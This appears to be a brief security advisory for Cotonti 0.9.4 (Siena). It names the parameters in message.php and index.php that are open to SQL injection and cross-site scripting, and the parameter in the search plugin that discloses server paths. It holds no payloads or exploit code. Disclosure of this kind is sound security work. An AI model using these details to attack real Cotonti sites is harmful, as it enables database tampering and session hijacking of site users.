受影响版本: 0.9.4 (Siena) 

Summary: Cotonti is a powerful open-source web development 

 

framework and content manager with a focus on security, 

 

speed and flexibility. 

 

  

 

Desc: Input passed via the parameters 'redirect.php' in 

 

'message.php' and 'w' and 'd' in 'index.php' script are 

 

not properly sanitised before being returned to the user 

 

or used in SQL queries. This can be exploited to manipulate 

 

SQL queries by injecting arbitrary SQL code or execute 

 

arbitrary HTML and script code in a user's browser session 

 

in context of an affected site. Path disclosure resides in 

 

the 'sq' parameter in '/plugins/search/search.php' script.
